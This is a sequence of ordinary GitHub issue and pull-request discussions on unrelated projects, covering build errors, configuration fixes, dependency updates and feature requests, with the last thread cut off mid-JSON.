Study ID: PRJCA002413, Study group: Control (Healthy), Sample ID: Healthy_Control_1 - IGH, TRB success, IGK, IGL, TRA failed

This is essentially the same problem as #29

Study ID: SRP001460, Study group: Control (Healthy), Subject ID: 42 - Two IGH repertoires success
Study ID: PRJEB1289, Study group: Control (Healthy), Subject ID: Healthy_4_5-sc-2013 - IGH success
Study ID: PRJNA275625, Study group: Control (Healthy), Subject ID: SAMN03352119 -IGH success
Study ID: PRJNA280743, Study group: Control (Healthy), Subject ID: PEM1-10 - IGH success
Study ID: PRJNA630455, Study group: Control (Healthy), Subject ID: H8, Sample ID: H8-rep2 - IGH failed

This is essentially the same problem as #27 (vj_in_frame missing causing crash)

Study ID: PRJNA633317, Study group: Control (Healthy), Subject ID: W, Sample ID: W_2018, PCR target: TRA - TRA failed

This is a new problem, see new issue #32

So ran on 12 repertoires, and only found one new problem...

@bcorrie Please try again once the container is ready

#32 issue has been fixed so #32 and this issue can probably be closed...


Cannot find path '[...]/Private/Invoke-KillProcessTree.ps1' because it does not exist

Hello, I have installed Invoke-Atomic in a Kali Linux host to execute on a remote Windows target. Followed all the steps, installed PowerShell Core, enabled WinRM over SSH and so on.
However I was getting the following error:
PS> Invoke-AtomicTest T1082 -CheckPrereqs -anyOS -Session $sess
Cannot find path '/home/user/AtomicRedTeam/invoke-atomicredteam/Private/Invoke-KillProcessTree.ps1' because it does not exist

I solved it by copying ./Public/Invoke-KillProcessTree.ps1 to ./Private/Invoke-KillProcessTree.ps1 not sure if it intended or not.

Regards,

I noticed the same issue. Putting Invoke-KillProcessTree.ps1 in the Private directory seems to be the easiest fix.


Authentication doesn't work

System Health details
System Information

version
core-2024.2.1

installation_type
Home Assistant Container

dev
false

hassio
false

docker
true

virtualenv
false

python_version
3.12.1

os_name
Linux

os_version
6.1.49

arch
x86_64

timezone
Europe/Paris

config_dir
/config

Home Assistant Community Store

GitHub API
ok

GitHub Content
ok

GitHub Web
ok

GitHub API Calls Remaining
4970

Installed Version
1.34.0

Stage
running

Available Repositories
1414

Downloaded Repositories
25

HACS Data
ok

Home Assistant Cloud

logged_in
false

can_reach_cert_server
ok

can_reach_cloud_auth
ok

can_reach_cloud
ok

Dashboards

dashboards
1

resources
14

views
7

mode
storage

Recorder

oldest_recorder_run
11 février 2024 à 18:42

current_recorder_run
23 février 2024 à 23:13

estimated_db_size
3437.12 MiB

database_engine
postgresql

database_version
13.13

Checklist

[X] I have enabled debug logging for my installation.
[X] I have filled out the issue template to the best of my ability.
[X] This issue only contains 1 issue (if you have multiple issues, open one issue for each issue).
[X] This issue is not a duplicate issue of currently previous issues..

Describe the issue
When trying to setup the integration, I do get the blank page and copy the URL, but get a message stating the authentication is invalid. The URL is in the form https://login.live.com/oauth20_desktop.srf?code=M.C107_BL2.2.[GUID]&lc=1036.
Reproduction steps

Connect to the URL provided in the readme
Authenticate (in my case, using passwordless auth, event though I believe it shouldn't make a difference)
Copy the URL and paste it in the appropriate field of the intergation's config flow
"Invalid authentication"

Debug logs
2024-02-23 23:26:45.084 ERROR (MainThread) [custom_components.family_safety.config_flow] HTTP Unauthorized
2024-02-23 23:26:45.084 WARNING (MainThread) [custom_components.family_safety.config_flow] Invalid authentication received:

Diagnostics dump
No response

Hi
You have to copy / paste very quickly.. if memory serves correctly, I think you have less than 10 seconds before that token expires which we then exchange for an access token and refresh token which lasts a lot longer.
Unless Microsoft have changed something like shortening the lifetime of the first token of course.

I am having the same issue.  To further troubleshoot, I am also trying the base python library and using the test harness test.py.  I open an incognito window to ensure I get a new token (just refreshing an existing auth does not generate a new token).  And within 2-3 seconds I paste redirected URL.  I tried both with setting use_refresh_token=False and use_refresh_token=False.  In either case I get an Unauthorized / 400 response.

Ok, I think I know whats going on, will release an update this evening to address.

1.2.0 just released as a beta which should sort this out

Tested and confirmed working.  Thanks!

Indeed, it's now working for me as well 💯
Thanks a bunch !
And since I believe you are working on something similar for Google Family, god speed for that other project, @pantherale0 !


Switch from readthedocs to mkdocs (#1432)

Couple notes:

I merged the two github actions yaml files into one that handles both build and release (fixed a bug with caching)
I changed to symlinks for the tutorials instead of the previous workaround

Another note: the CLI documentation looks a bit off due to this outstanding bug: https://github.com/DataDog/mkdocs-click/issues/59

I made a minor change to fix the navigation heading for the 'publication' page, and also symlink-ed index.md in the docs to README.md, so that they are always in sync. Only issue is that the logo href in the github README.md can't be a relative path, so once this branch is merged into master, the path can be updated (it's currently referring to a logo in a branch from ages ago)

squashed some commits


Add functions using PyCall

I was meaning the lines of code are long, I will look for some rules on that.

I think If you use ATOM or its clone http://junolab.org/ you can do some auto refactoring and them add some manual changes

I have indented similar to PEP standards, keeping the line length <= 80. Couldn't find anything like 'standards' for Julia.

Okey thanks, let me know when you update

@ShivamNegi, I think I have this same commit, I will test and see once again

julia> include("src/retriever.jl")
retriever

julia> retriever.install_sqlite("iris")
=> Installing iris

Downloading bezdekIris.data...
100%  0 seconds Creating table iris_table...
Progress: 151 / 151 rows inserted into iris_table totaling 151:

julia> retriever.install_sqlite("iris", use_cache=false, debug=true, quite=false)
=> Installing iris
Creating table iris_table...
['sepal_length', 'sepal_width', 'petal_length', 'petal_width', 'class']
CREATE TABLE iris_table (sepal_length REAL, sepal_width REAL, petal_length REAL, petal_width REAL, class TEXT(20) );

Saving a copy of bezdekIris.data...

Downloading bezdekIris.data...
100%  0 seconds INSERT INTO iris_table (sepal_length, sepal_width, petal_length, petal_width, class) VALUES (?, ?, ?, ?, ?)
Progress: 151 / 151 rows inserted into iris_table totaling 151:

julia>


Using router-link "events" property for a double click event doesn't work.

Based upon the 2.1 documentation I would expect : <router-link :to="to" events="dblclick" exact> to only trigger on the dblclick event instead of click, but this doesn't change the default behavior to fire on double click.  If this is not the intention of the events property then this has not been made clear in the documentation.
I'm currently enjoying being able to wrap around router-link instead of needing to handle anchor events and to then call e.preventDefault().  However, without either better documentation of this feature or a patch to provide it then it will be a large dead end for me.

This would belong in the vue-router repo, could you please post it there?

Done


Update azure-messaging-servicebus to 7.17.6

About this PR
📦 Updates com.azure:azure-messaging-servicebus from 7.17.5 to 7.17.6
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "com.azure", artifactId = "azure-messaging-servicebus" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "com.azure", artifactId = "azure-messaging-servicebus" }
}]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Superseded by #119.


Generated path in HTML not getting updated

Hi everyone,
I installed your incredible package today, but I'm facing an issue.
I modified the base package.config.json in order to change the output dir and replace "webpack_bundles" by builds :
// /webpack.config.js
// ... imports are there
module.exports = {
 context: __dirname,
 entry: './static/app',
 output: {
   // I mainly changed this line
   path: path.resolve('./static/builds/'),
   filename: "[name]-[hash].js"
 },
 plugins: [
   new BundleTracker({filename: './webpack-stats.json'})
 ],
}

It seems this change is correctly applied when building my output assets, the path seems correct.
/webpack-stats.json
{
  "status": "done",
  "assets": {
    "main-b0a9e492033007ae27eb.js": {
      "name": "main-b0a9e492033007ae27eb.js",
      "path": "/app/static/builds/main-b0a9e492033007ae27eb.js"
    }
  },
  "chunks": {
    "main": [
      "main-b0a9e492033007ae27eb.js"
    ]
  }
}

My settings in Django are the default one provided by your tutoriel. In my case DEBUG=1 so CACHE=0 :
WEBPACK_LOADER = {
  'DEFAULT': {
    'CACHE': not DEBUG,
    'STATS_FILE': os.path.join(BASE_DIR, 'webpack-stats.json'),
    'POLL_INTERVAL': 0.1,
    'IGNORE': [r'.+\.hot-update.js', r'.+\.map'],
  }
}

And in my HTML template I import the following inside my  tag :
{% load render_bundle from webpack_loader %}
{% render_bundle 'main' %}

Then I build by asset by running the following command :
npx webpack --mode=development --config webpack.config.js

Bug when I run the page, I still have an old path for the script tag, resulting in a 404 error :
<script src="/static/webpack_bundles/main-b0a9e492033007ae27eb.js" ></script>

Am I missing something ? Shouldn't it be using the new path with the builds dir ?
I tried to restart the Django server, I also cleared the __pycache__ folders of all my apps. Nothing changes.
Is it a bug or a misunderstanding from me ?
Thanks a lot

Also got bit by this, then found that it can be specified in the config: https://github.com/django-webpack/django-webpack-loader/blob/0c0ff26db7a43592f4d5d8fc4f3843847891e74f/webpack_loader/config.py#L11

When changing the output.path, the BUNDLE_DIR_NAME must also be updated. The bundles parent directory must also be in STATICFILES_DIRS if you're serving assets using Django's staticfiles app (which is the default in Django's runserver). Unfortunately this isn't mentioned in the README. We'll fix that. Closing as duplicate of https://github.com/django-webpack/django-webpack-loader/issues/178


docs(integrations): Fix README.md to include required plugin for Jenkins >= 2.462.3

Add Copy Artifact as a required plugin since it's not installed/enabled by default in Jenkins >= 2.462.3
Signed-off-by: Grigori Prokhorov<EMAIL_ADDRESS>

Please amend your existing commit wit the requested change instead of creating another commit in the PR.

 The newer one with the docker hint?

Please amend your existing commit wit the requested change instead of creating another commit in the PR.

 The newer one with the docker hint?

The only commit that is in this PR.

Please amend your existing commit wit the requested change instead of creating another commit in the PR.

 The newer one with the docker hint?

The only commit that is in this PR.

I'm confused as to what you mean. I'll check later when I'll be back at my laptop. I meant to just have one PR with one commit.

Please amend your existing commit wit the requested change instead of creating another commit in the PR.

 The newer one with the docker hint?

The only commit that is in this PR.

Well, now there are two... so please squash your newer commit into the original one, and force-push to the PR's branch.

Please amend your existing commit wit the requested change instead of creating another commit in the PR.

 The newer one with the docker hint?

The only commit that is in this PR.

Well, now there are two... so please squash your newer commit into the original one, and force-push to the PR's branch.

Okay sure, will do. But which commit did you mean before I added the one with the list sorting?

But which commit did you mean before I added the one with the list sorting?

I mean the original commit 8c0afd9e8f72072b4fece886c9dda6bcb102b143 in this PR.
Probably also reading through https://github.com/oss-review-toolkit/.github/blob/main/CONTRIBUTING.md#git-history helps.

Another thing is that your commit messages should adhere to Conventional Commits.

But which commit did you mean before I added the one with the list sorting?

I mean the original commit 8c0afd9 in this PR.
Probably also reading through https://github.com/oss-review-toolkit/.github/blob/main/CONTRIBUTING.md#git-history helps.

Got it. What type should I use for this? Is this just docs or docs(integrations)?

How about now @sschuberth ?

How about now @sschuberth ?

Almost good 😉 commit-lint now complains about a too long title.

How about now @sschuberth ?

Almost good 😉 commit-lint now complains about a too long title.

Shortened to fit the reqs.

Now there's a merge commit in the PR... which we don't allow either. Please rebase instead of merge of you want to catch up with latest changes from main.

Now there's a merge commit in the PR... which we don't allow either. Please rebase instead of merge of you want to catch up with latest changes from main.

Will do.
Sorry for not properly reading the commit guidelines and thanks for taking the time to guide me.

Now there's a merge commit in the PR... which we don't allow either. Please rebase instead of merge of you want to catch up with latest changes from main.

I hope, it's clean now?

Merging despite the unrelated test failure.


Generate code coverage and add testcase.

>>> pytest

============================= test session starts ==============================
platform linux -- Python 3.8.10, pytest-6.2.5, py-1.11.0, pluggy-1.0.0
rootdir: /home/helloc/python-wechaty, configfile: pyproject.toml, testpaths: tests
plugins: metadata-1.11.0, asyncio-0.16.0, cov-3.0.0
collected 31 items

tests/accessory_test.py .........                                        [ 29%]
tests/config_test.py ..                                                  [ 35%]
tests/smoke_testing_test.py .                                            [ 38%]
tests/test_room.py .........                                             [ 67%]
tests/test_utils.py .                                                    [ 70%]
tests/timestamp_test.py ..                                               [ 77%]
tests/user_message_test.py ......                                        [ 96%]
tests/version_test.py .                                                  [100%]

---------- coverage: platform linux, python 3.8.10-final-0 -----------
Name                                   Stmts   Miss  Cover   Missing
--------------------------------------------------------------------
src/wechaty/__init__.py                   10      0   100%
src/wechaty/accessory.py                  58      5    91%   41, 61, 90, 118, 125
src/wechaty/config.py                     36     17    53%   62-63, 82-88, 107-126, 141-143
src/wechaty/exceptions.py                 15      5    67%   29-33, 36
src/wechaty/plugin.py                    255    183    28%   56-59, 78-104, 129-133, 141, 156-160, 167, 262-264, 298-299, 306-307, 312-336, 340-343, 349-350, 354-359, 363-365, 369-370, 378-384, 390-419, 432-615
src/wechaty/types.py                      11      3    73%   32, 50, 62
src/wechaty/user/__init__.py              13      0   100%
src/wechaty/user/contact.py              193    127    34%   58-62, 87, 112-154, 187-192, 225-239, 253-257, 264, 267, 270-273, 282-329, 337, 346-364, 372-374, 382-384, 390-392, 398-400, 406-408, 414-416, 422-424, 430-432, 438-440, 446-450, 456, 462, 468-470
src/wechaty/user/contact_self.py          38     24    37%   21-29, 36-45, 52, 56-61, 69-74
src/wechaty/user/favorite.py              16      6    62%   31, 42, 49-50, 57, 64
src/wechaty/user/friendship.py            86     57    34%   42, 62-66, 75, 87-94, 101-102, 111-115, 121-123, 130-132, 140-141, 147-164, 173-180, 186-193, 200-201, 211-222
src/wechaty/user/image.py                 28     15    46%   46, 55-58, 68-69, 76-79, 86-89, 96-99
src/wechaty/user/message.py              245    137    44%   90, 101-113, 128-177, 213, 216, 266-269, 278-281, 302-306, 314, 320-340, 346-348, 369-373, 401, 441-449, 457, 462-463, 468-469, 477-496, 508-512, 519, 532-544, 552-558, 567-578, 585-596, 603-615
src/wechaty/user/mini_program.py          54     23    57%   31, 46-49, 57-63, 70-75, 81-83, 91, 99, 106, 114, 122, 130, 138, 146
src/wechaty/user/room.py                 255    149    42%   54-57, 81, 87, 94-117, 137, 142-157, 204, 262-267, 277, 286, 310-367, 383-387, 393-399, 405-407, 422-451, 460-468, 480-482, 494, 501, 508-511, 519-559, 570-575, 586, 595-598
src/wechaty/user/room_invitation.py       84     58    31%   45-48, 53-55, 61-65, 82-85, 91-106, 112-116, 122-125, 131-134, 140-153, 159-163, 169-174, 183-198, 205-209
src/wechaty/user/tag.py                   51     32    37%   22-23, 41-44, 51-56, 63-64, 72-81, 89-96, 109-121
src/wechaty/user/url_link.py              49     30    39%   30, 40-60, 67, 75-77, 85-87, 95-97, 105-107
src/wechaty/utils/__init__.py              4      0   100%
src/wechaty/utils/async_helper.py         10      0   100%
src/wechaty/utils/date_util.py             6      0   100%
src/wechaty/utils/qr_code.py              27     22    19%   17-42
src/wechaty/utils/qrcode_terminal.py      29     29     0%   1-44
src/wechaty/utils/type_check.py            9      6    33%   17-19, 23-25
src/wechaty/version.py                     1      0   100%
src/wechaty/wechaty.py                   308    204    34%   142, 144, 189, 200, 205-225, 230, 239-245, 251-257, 262-264, 273-275, 285-288, 388-420, 424-426, 433-691, 697, 724-729, 736-738, 745
--------------------------------------------------------------------
TOTAL                                   1891   1132    40%

============================== 31 passed in 0.24s ==============================

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@wj-Mcat @huan Do you have time to review this pr?

CODECOV_TOKEN is added into the environment variables.

CODECOV_TOKEN is added into the environment variables.

No need to add cov token for public repo.

ping @wj-Mcat

Wechaty Contributors Nomination
Link to https://github.com/wechaty/PMC/issues/16

Thank you very much for your contribution!
You are welcome to join Wechaty Contributor Program
1. Join Wechaty Organization

You've invited helloc to Wechaty! They'll be receiving an email shortly. They can also visit https://github.com/wechaty to accept the invitation.

I have invited you to join our Wechaty GitHub Organization, please accept it by following the above message. (See also: wechaty/PMC#16)
2. Update Your Wechaty Contributor Profile

Please open Contributor Hall of Fame and add yourself to the end of the list, so that other contributors will know you better!
Please add yourself to our Website Contributors by creating a PR and refer to this PR link as well.

3. Join The Contributor Only WeChat Room
We also have a WeChat room for contributors only which can discuss Wechaty at a deeper level, you are welcome to join and if you are interested.
Please add @lijiarui wechat: ruirui_0914 and send her this pr link. She will invite you into Wechaty Contributor Room
Cheers!

Thank you very much for your contribution!
You are welcome to join Wechaty Contributor Program
1. Join Wechaty Organization

You've invited helloc to Wechaty! They'll be receiving an email shortly. They can also visit https://github.com/wechaty to accept the invitation.

I have invited you to join our Wechaty GitHub Organization, please accept it by following the above message. (See also: wechaty/PMC#16)
2. Update Your Wechaty Contributor Profile

Please open Contributor Hall of Fame and add yourself to the end of the list, so that other contributors will know you better!
Please add yourself to our Website Contributors by creating a PR and refer to this PR link as well.

3. Join The Contributor Only WeChat Room
We also have a WeChat room for contributors only which can discuss Wechaty at a deeper level, you are welcome to join and if you are interested.
Please add @lijiarui wechat: ruirui_0914 and send her this pr link. She will invite you into Wechaty Contributor Room
Cheers!

Thank you very much for your contribution!
You are welcome to join Wechaty Contributor Program
1. Join Wechaty Organization

You've invited helloc to Wechaty! They'll be receiving an email shortly. They can also visit https://github.com/wechaty to accept the invitation.

I have invited you to join our Wechaty GitHub Organization, please accept it by following the above message. (See also: wechaty/PMC#16)
2. Update Your Wechaty Contributor Profile

Please open Contributor Hall of Fame and add yourself to the end of the list, so that other contributors will know you better!
Please add yourself to our Website Contributors by creating a PR and refer to this PR link as well.

3. Join The Contributor Only WeChat Room
We also have a WeChat room for contributors only which can discuss Wechaty at a deeper level, you are welcome to join and if you are interested.
Please add @lijiarui wechat: ruirui_0914 and send her this pr link. She will invite you into Wechaty Contributor Room
Cheers!


Incorrect signature for php date_format function suggestion.

Issue Type: Bug
VS code shows incorrect parameter order in suggestion for completing php date_format() function in procedural style.
Suggestion shown in vs code:
date_format( string $format , DateTimeInterface $object )
Signature in php manual:
date_format ( DateTimeInterface $object , string $format ) : string
VS Code version: Code 1.52.1 (ea3859d4ba2f3e577a159bc91e3074c5d85c0523, 2020-12-16T16:32:10.090Z)
OS version: Linux x64 5.8.0-36-generic

I will just patch this as a one-off, but we should dig up the script that generates these and take another look

I will just patch this as a one-off, but we should dig up the script that generates these and take another look


Disable TLS and Cipher Suites

Issue
Environment

Github: aws/fedora-coreos/kubernetes?ref=v1.18.2
Platform: aws
OS: fedora-coreos
Release: v1.18.2
Terraform: Terraform v0.12.24
Plugins: None

Problem
We have recently performed some vulnerability scans. We have to disable TLS 1.0 and 1.1. Also, we had to disable the below cipher suites. Could you please suggest me how to make these changes.
Ciphers Suites to be disabled:

TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)
TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)

The Kubernetes (v1.18.2) minimum TLS version defaults to 1.2 and you can inspect the allowed ciphers by searching. This project makes use of the Kubernetes defaults, which themselves are based on Go's defaults (who has already considered and declined https://github.com/golang/go/issues/21144). If you need to alter it, you can set flags on Kubernetes components on your own (not looking to make it customizable).
If you like, you can file it with upstream Kubernetes. I'd recommend providing a higher quality issue expressing what components you're interested in, your scanning methodology, and showing research effort.

@dghubble  Thank you. Will verify a few more things from my end and see how to goes😃


[Feature Request] Allow timezone to be set as a property for Date/Time Picker

Existing Component
Yes
Component Name
DatePicker / TimePicker
Description
Current Behavior:
Date and Time Picker always convert dates to the user's local time. For example, if the ISO 8601 date 2017-10-24 is passed in as a selected date, users in a timezone behind UTC (for example, in the US), will see 2017-10-23 as the selected day (2017-10-24 is Mon Oct 23 2017 20:00:00 GMT-0400 (EDT) for US Eastern Standard Time).
Requested Behavior:
Date and Time Picker should allow the displayed timezone to be set as an attribute, ie:
<el-date-picker timezone="UTC"></el-date-picker>. Allowing the timezone to be shown in the UI and selectable by the user would be a bonus.

👍 +1 for this request

This was closed, although I believe #9133 was asking for something slightly different. Parsing by dateString in JavaScript defaults to UTC; however, a patch was added recently to force parsing by local timezone instead.
Since local and UTC are the two most common needs, and JavaScript parses dateStrings as UTC by default, would it be possible to have an attribute that allowed choosing between local or UTC? It should be as simple as just bypassing the local conversion that Element is currently doing.
Something like:
<el-date-picker :localTime="false"></el-date-picker> and default to true to maintain the current behavior.

I also encountered this problem, where I set the initial value to 2018-04-08, and in some US timezone, it is displayed as 2018-04-07, but the actual value is 2018-04-08, which is very confusing.

I have a timezone heavy application and I manually take care where to display time and dates in UTC and where to format into the right timezone. Element forcing the usage of local timezone means I can't use this component even if I pass the right UTC date into the component.

@dak Which patch was it? Wondering if I need to need to downgrade to continue using date component without it offsetting my dates

value-format doesn't solve the problem here. Any updates on this?

[Feature Request] Support Timezones in Date Picker #14909

I use moment('2018-04-08').toISOString() fix the same problem.


Slow node performance due to audit configuration

Slack Thread: https://gigantic.slack.com/archives/C6L8J93N0/p1724419948903269
TL;DR

Jenkins performs many operations, triggering numerous audit events.
The audit system struggles to keep up, causing delays.
These delays slow down Jenkins operations.

Slowed Jenkins operations take longer, generating even more audit events over time.
Context
After upgrading release v19.3.0 to v20.1.2
flatcar 3602.2.3

docker - 20.10.24
kernel - 5.15.142
cilium - 0.17.0

to
flatcar 3815.2.2

docker - 24.0.9
kernel - 6.1.85
cilium - 0.22.0

Customer noticed a heavy impact on node pools where Jenkins Agents are running. Those nodes were becoming ultra slow. We were able to identify that writing audit messages is the bottleneck:
Sep 04 15:49:22 ip-10-150-45-200.eu-west-1.compute.internal auditd[2537]: Error receiving audit netlink packet (No buffer space available)

We were identifying the audit rules to track what the system is doing:
-a always,exit -F arch=b64 -S execve -F key=auditing

This rule audits all program executions (via the execve system call) on 64-bit systems. It’s a broad rule that captures when any program is run.
-a always,exit -F arch=b32 -S execve -F key=auditing

Similar to the previous rule, but for 32-bit systems. It also audits all program executions.
When running Jenkins it happens that nodes becoming unresponsive for seconds
Example:
time date

real	0m0.877s <- super slow
user	0m0.000s
sys	0m0.002s

When flushing all audit rules the node becomes instantly responsive again:
time date
Wed Sep  4 15:48:47 UTC 2024

real	0m0.001s
user	0m0.000s
sys	0m0.001s

We're still not sure why this happens now it might be that Jenkins is executing now more commands or auditd has been changed since the last release.

Additionally we are using -w which is known for bad performance
-w /usr/bin/docker -p rwxa -k docker
-w /var/lib/docker -p rwxa -k docker
-w /etc/docker -p rwxa -k docker
-w /etc/systemd/system/docker.service.d/10-giantswarm-extra-args.conf -p rwxa -k docker
-w /etc/systemd/system/docker.service.d/01-wait-docker.conf -p rwxa -k docker
-w /usr/lib/systemd/system/docker.service -p rwxa -k docker
-w /usr/lib/systemd/system/docker.socket -p rwxa -k docker
-a always,exit -F arch=b64 -S execve -F key=auditing
-a always,exit -F arch=b32 -S execve -F key=auditing

-k key Set a filter key on an audit rule. This is deprecated when
              used with watches. Convert any watches to the syscall form
              of rules. It is still valid for use with deleting or
              listing rules.
-w path
              Place a watch on path. If the path is a file, it's almost
              the same as using the -F path option on a syscall rule. If
              the watch is on a directory, it's almost the same as using
              the -F dir option on a syscall rule. The -w form of
              writing watches is for backwards compatibility and is
              deprecated due to poor system performance.  Convert
              watches of this form to the syscall based form. The only
              valid options when using a watch are the -p and -k.

We need to migrate those using:
-a always,exit -F dir=/usr/bin/docker -S all -F key=docker
-a always,exit -F path=/etc/systemd/system/docker.service.d/10-giantswarm-extra-args.conf -S all -F key=docker
...

Another idea would be changing the auditd.conf:
q_depth = 8192                  # Increase buffer size
max_log_file = 50               # Increase max log file size
num_logs = 10                   # Increase number of logs
freq = 100                      # Decrease log writing frequency
overflow_action = SUSPEND       # Suspend to prevent overflow

Currently q_depth is not set which also might be a reason why we see those errors:
 Error receiving audit netlink packet (No buffer space available)

Auditd seems to integrated by @giantswarm/team-atlas, but not sure what the reason behind was:
https://github.com/giantswarm/k8scloudconfig/releases/tag/v16.5.0
@QuentinBisson do you remember why?

After talking with Quentin as a quick solution for Vintage cluster which are affected:
Applying k8s-initiator-app on the nodepools where jenkins is running
Removing
rm /etc/audit/rules.d/99-default.rules
and reloading the rules without those
augenrules --load
For CAPI we would need to integrate a toggle which enables audit rules when needed but should be disabled by default: https://github.com/giantswarm/cluster/blob/main/helm/cluster/files/etc/audit/rules.d/99-default.rules

CAPI: fixed (auditd is disabled by default and can be enabled at anytime) but we need new CAPA and CAPZ releases

Vintage: k8s-initiator-app is not working for removing audit rules. Main issue is auditctl and the dependency mess, it requires a reload because they're kept in-memory, so removing just the files isn't enough. See Slack thread: https://gigantic.slack.com/archives/C062HB29BDG/p1725542379870169

For Vintage we exhausted our options getting around a new release, so we need a new v20 release

@T-Kukawka Could Phoenix start working on it next week please? I'm off the next days otherwise I would jumped in

@T-Kukawka it looks like we don't need to it. It was a final test and it seems we can get around doing a new vintage release: https://gigantic.slack.com/archives/C062HB29BDG/p1726086709037459?thread_ts=1725542379.870169&cid=C062HB29BDG
Daniel figured out setting hostPid: "true" might solve it.

Everything should be covered. Marco created a new release for CAPA ❤


Create Indpendent EFS functionality

Take the EFS functionality from the spotted module and add a create_efs function in the LinkAWS class.

Completed in the elastic_file_systems.py submodule. It features the functions:

launch_efs(system_name, region='us-west-2', launch_wait=3)
retrieve_efs_mount(file_system_name, instance, new_mount=False, region='us-west-2', mount_wait=3)
and
compose_mount_script(filesystem_dns)


Dont work in galaxy s8

the plugin dont work in galaxy s8, the immersive mode seems to be persistent and the plugin dont disable it (the bar appears and disappears)
im using unity 2017.3 and target sdk 23

tested in unity 2017.1 too... really doesnt work in galaxy s8

Confirmed. Looks like non-fullscreen mode is broken in Unity.

Strike that - broken in 2018.1. Looking further.

I just tried S8 + Unity 2017.3.1p4 - works fine.

Everything I tried so far works for me. Most likely something is wrong with your manifest. Please make sure you use the Unity[Transparent]StatusBarTheme and com.unity3d.nostatusbar.UnityPlayerActivityStatusBar activity.

unity revert back onwindowsfocuschanged(true) to immersive_stick in an internal thread that create a surface view.
it is impossible to prevent it because decorations are in inside this internal surface and it is added in a different thread so i can not prevent this

well, my manifest is correct.
i tested in many simulators mobile sdks of android studio too and the bug is the same.
unity 2017 (now o tested in unity 2017.1) change to immersive_stick the decoration of internal surface view.
in documentation of android the immersive_stick mode dont de call OnDecorationChanged so it is impossible to prevent it

I can't know if your manifest is correct if you don't share it with me.
The feature doesn't work with emulators, as far as I know.
As I said. I just checked it on a S8 and it worked like a charm. (Unity 2018.1 has issues but they are being fixed)

Please share your project, exact Unity version and the steps to reproduce.

Sorry for the delay, it is just an empty project with your plugin
and a script with script below
include UnityEngine;
public class FullScreenTest : MonoBehaviour
{
void Start()
{
Screen.fullScreen = true;
}
}
as i said.. the error comes from functions onWindowFocusChanged in Android UnityPlayerActivity that instantiates a SurfaceView (i used AndroidStudio to debug) and this surface view contains decorator flag IMMERSIVE_STICK...
as this surface was added in mainwindows in different thread we cant change block it.
PS: Using Unity 2017.1.0, or unity 2017.3.1 PERSONAL EDITION (Unity Splash Page enabled)

I just checked again on S8 and it works. Your script should read Screen.fullScreen = false to show the status bar.


Another error signing simject during make setup

here's what I keep getting
iPhone Developer: ambiguous (matches "iPhone Developer: #this is where my email is (68BJHHWDL9)" and "iPhone Developer: #this is where my second email is (6P645ATJN8)" in /Users/tnns_beast22/Library/Keychains/login.keychain-db)
make[3]: *** [/Users/tnns_beast22/simject/simject/.theos/obj/iphone_simulator/debug/simject.dylib] Error 1
rm /Users/tnns_beast22/simject/simject/.theos/obj/iphone_simulator/debug/simject.dylib.7876ddb4.unsigned
make[2]: *** [internal-library-all_] Error 2
make[1]: *** [simject.all.tweak.variables] Error 2
make: *** [all] Error 2

Looks like you have redundant developer certificates of the same email. Open Keychain Access app and remove the older/unused one.

THANK YOU SOOOO MUCH I HAVE TRIED LITERALLY EVERYTHING

If multiple certificates exist, the following procedure could be used to specify the desired certificate

Create an identity for the desired certificate
See the following link
https://support.apple.com/lv-lv/guide/keychain-access/kyca6343b6c9/mac
Set TARGET_CODESIGN_FLAGS in Makefile
TARGET_CODESIGN_FLAGS = --sign "YOUR IDENTITY"


[release-1.8] Fix operator revision handling

This is an automated cherry-pick of #28044

@istio-testing: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-k8s-tests_istio_release-1.8
09ac1c5ec1cfd7cd0d43fca6b7d499c1749ad57b
link
/test integ-pilot-k8s-tests_istio_release-1.8

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@istio-testing: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-k8s-tests_istio_release-1.8
09ac1c5ec1cfd7cd0d43fca6b7d499c1749ad57b
link
/test integ-pilot-k8s-tests_istio_release-1.8

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@istio-testing: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-k8s-tests_istio_release-1.8
09ac1c5ec1cfd7cd0d43fca6b7d499c1749ad57b
link
/test integ-pilot-k8s-tests_istio_release-1.8

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


anyOf/oneOf with recursive schemas causes out of memory exception

I'm using the latest version of ajv:
new Ajv({ allErrors: true })

Essentially it seems there's a huge inefficiency somewhere when dealing with recursive schemas.
I have a fairly large schema so I'm unable to extract an example of this happening (I'll keep trying to narrow it down). But essentially I have something along the lines of:
{
  "anyOf": [ { "$ref": "#/definitions/generic" } ],
  "definitions": {
    "generic": {
      "type": "object",
      "anyOf": [
        { "$ref": "#/definitions/model1" },
        { "$ref": "#/definitions/model2" }
      ]
    },
    "genericChildren": {
      "type": "array",
      "items": { "$ref": "#/definitions/generic" },
      "additionalItems": false
    },
    "model1": {
      "type": "object",
      "properties": {
        "type": {
          "type": "string",
          "enum": [ "model1" ]
        },
        "model1_a": { "type": "string" },
        "model1_b": { "type": "string" },
        "children": { "$ref": "#/definitions/genericChildren" }
      },
      "required": [ "type" ],
      "additionalProperties": false
    },
    "model2": {
      "type": "object",
      "properties": {
        "type": {
          "type": "string",
          "enum": [ "model2" ]
        },
        "children": { "$ref": "#/definitions/genericChildren" }
      },
      "required": [ "type" ],
      "additionalProperties": false
